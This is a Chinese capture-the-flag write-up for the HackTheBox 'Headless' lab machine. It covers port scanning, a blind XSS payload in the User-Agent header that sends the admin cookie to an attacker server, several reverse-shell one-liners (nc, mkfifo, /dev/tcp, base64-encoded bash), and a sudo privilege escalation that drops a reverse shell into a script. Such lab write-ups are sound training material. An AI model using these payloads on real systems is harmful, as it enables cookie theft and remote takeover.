在HackTheBox的暗网丛林中,Headless靶机如同一台被遗弃的“数字幽灵”,仅凭5000端口的一丝微光,引诱红队踏入精心设计的权限迷宫。这里没有炫酷的Nday漏洞,却将Web安全攻防的底层逻辑演绎到极致——从Cookie劫持到命令注入,从XSS盲打到权限跃迁,每一步都是对攻击者工程化思维的极限考验
靶机地址
https://app.hackthebox.com/machines/594
适合读者
√ 渗透测试学习者√ 企业安全运维人员√ CTF竞赛战队√ 想掌握链式攻击思维的安全从业者
立即开始本次渗透之旅吧
一、信息收集
VPN 连接正常,能够访问目标机器
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.8 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p22,5000 10.10.11.8
只开放了 22 和 5000 端口,5000 端口是 upnp 服务
Web 信息收集
查了一下,这个协议是"通用即插即用",目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,有 web 管理页面
whatweb
wappalyzer
dirsearch
查询到两个目录
信息整理
二、漏洞探测
历史漏洞探测
后台使用了 Werkzeug,搜索相应版本的相关漏洞,没有找到可用的
xss 漏洞
/dashboard 页面无法访问,未授权
经过不断测试,发现 Message 输入框填写 XSS 语句后会触发安全检测
提示 IP 被标记,我的浏览器信息会被发送给管理员,同时下面有一些 header 头,管理员在他的电脑上看到了这些信息
其中 cookie 中有个is_admin
,猜测平台根据这个字段来判断是否是管理员,如果拿到管理员的 cookie,是否就可以打开 /dashboard 页面?
Getshell
尝试使用 xss 把 cookie 带出,当管理员查看后,在攻击者的电脑接收 cookie
先在攻击机开启一个 http 服务
python3 -m http.server 8081
在 Message 输入框填写下面 xss 代码,用 fetch 发起请求
<imgsrc=#onerror=fetch('http://10.10.14.91:8081/?cookie='+document.cookie)>
但是无论怎么填写都无法返回信息,再次猜测,既然管理员看了 header,可能 header 中也存在 xss 漏洞?
经过对每个字段进行测试,User-Agent
处存在 xss,同时 message 字段也需要写上 xss 语句来触发目标端的安全检测,成功获得管理员的 cookie
替换 cookie,访问到 /dashboard 页面
攻击机开启监听,经过不断测试,目标有 nc 命令,反弹 shell 成功👿
# 成功nc -c bash 10.10.14.91 1234# 失败rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.91 1234 >/tmp/fbash -i >& /dev/tcp/10.10.14.91/1234 0>&1/bin/bash -i >& /dev/tcp/10.10.14.91/1006 0>&1bash -c "bash -i >& /dev/tcp/10.10.14.91/1234 0>&1"bash -c "/bin/bash -i >& /dev/tcp/10.10.14.91/1234 0>&1"bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
三、权限提升
sudo 提权
sudo -l
发现一个任意用户可使用 sudo 运行的文件/usr/bin/syscheck
当前目录下没有这个文件,手动将反弹 shell 的命令写到文件中,给与执行权限,再运行 /usr/bin/syscheck,成功拿到root权限😈
echo "nc -c bash 10.10.14.91 1235" > initdb.shchmod +x initdb.shsudo /usr/bin/syscheck
原文始发于微信公众号(红队安全圈):HTB-Headless靶机:从 xss 到 root 权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论